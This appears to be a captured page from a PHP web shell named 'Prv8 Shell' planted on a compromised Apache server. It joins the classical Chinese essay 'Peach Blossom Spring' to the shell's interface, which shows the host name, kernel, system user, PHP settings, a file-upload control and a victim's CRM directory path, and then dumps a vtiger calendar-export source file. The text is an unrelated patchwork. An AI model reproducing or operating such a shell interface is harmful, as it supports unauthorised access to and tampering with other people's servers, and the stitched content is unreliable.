.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /home/akaindir/public_html/crm/modules/Calendar/

Upload File :

Current File : /home/akaindir/public_html/crm/modules/Calendar/iCalExport.php

<?php

define('_BENNU_VERSION', '0.1');

require_once('include/utils/utils.php');
require_once('modules/Calendar/CalendarCommon.php');
include('modules/Calendar/iCal/iCalendar_rfc2445.php');
include('modules/Calendar/iCal/iCalendar_components.php');
include('modules/Calendar/iCal/iCalendar_properties.php');
include('modules/Calendar/iCal/iCalendar_parameters.php');

//$ical_query = "SELECT * FROM vtiger_activity WHERE (( STATUS != 'Completed' AND STATUS != 'Deferred' ) OR STATUS IS NULL)
//               AND (( eventstatus != 'Held' AND eventstatus != 'Not Held' ) OR eventstatus IS NULL )";

global $current_user,$adb,$default_timezone;
$filename = $_REQUEST['filename'];
$ical_query = "select vtiger_activity.*,vtiger_crmentity.description,vtiger_activity_reminder.reminder_time from vtiger_activity inner join vtiger_crmentity on vtiger_activity.activityid = vtiger_crmentity.crmid " .
	" LEFT JOIN vtiger_activity_reminder ON vtiger_activity_reminder.activity_id=vtiger_activity.activityid AND vtiger_activity_reminder.recurringid=0" .
	" where vtiger_crmentity.deleted = 0 and vtiger_crmentity.smownerid = " . $current_user->id . 
	" and vtiger_activity.activitytype NOT IN ('Emails')";

$calendar_results = $adb->query($ical_query);

// Send the right content type and filename
header ("Content-type: text/calendar");
header('Content-Disposition: attachment; '."filename={$filename}.ics"); 

$todo_fields = getColumnFields('Calendar');
$event_fields = getColumnFields('Events');
$event = $todo = array();
$keys_to_replace = array(
	'events'=>array('taskpriority'),
	'todo'=>array('taskpriority','taskstatus')
);
$keyvals_to_replace = array(
	'events'=>array('taskpriority'=>'priority'),
	'todo'=>array('taskpriority'=>'priority','taskstatus'=>'status')
);
foreach($todo_fields as $key=>$val){
	if(getFieldVisibilityPermission('Calendar',$current_user->id,$key)==0){
		if(!in_array($key,$keys_to_replace['todo'])){
			$todo[$key] = 'yes'; 
		} else {
			$todo[$keyvals_to_replace['todo'][$key]] = 'yes'; 
		}
	}
}
foreach($event_fields as $key=>$val){
	if(getFieldVisibilityPermission('Events',$current_user->id,$key)==0){
		if(!in_array($key,$keys_to_replace['events'])){
			$event[$key] = 'yes'; 
		} else {
			$event[$keyvals_to_replace['events'][$key]] = 'yes'; 
		}
	}
}

$tz = new iCalendar_timezone;
if(!empty($default_timezone)){
	$tzid = split('/',$default_timezone);
} else {
	$default_timezone = date_default_timezone_get();
	$tzid = split('/',$default_timezone);
}

if(!empty($tzid[1])){
	$tz->add_property('TZID', $tzid[1]);
} else {
	$tz->add_property('TZID', $tzid[0]);
}
$tz->add_property('TZOFFSETTO', date('O'));
if(date('I')==1){
	$tz->add_property('DAYLIGHTC', date('I'));
} else {
	$tz->add_property('STANDARDC', date('I'));
}

$myical = new iCalendar;

$myical->add_component($tz);

while (!$calendar_results->EOF) {
    $this_event = $calendar_results->fields;
	$id = $this_event['activityid'];
	$type = $this_event['activitytype'];
	if($type!='Task'){
		$temp = $event;
		foreach($temp as $key=>$val){
			$temp[$key] = $this_event[$key];
		}
		$temp['id'] = $id;
    	$ev = new iCalendar_event;
    	$ev->assign_values($temp);

	    $al = new iCalendar_alarm;
	    $al->assign_values($temp);
	    $ev->add_component($al);
	} else {
		$temp = $todo;
		foreach($temp as $key=>$val){
			$temp[$key] = $this_event[$key];
		}
    	$ev = new iCalendar_todo;
		$ev->assign_values($temp);
	}

    $myical->add_component($ev);
    $calendar_results->MoveNext();
}
// Print the actual calendar
echo $myical->serialize();

?>

haha - 2025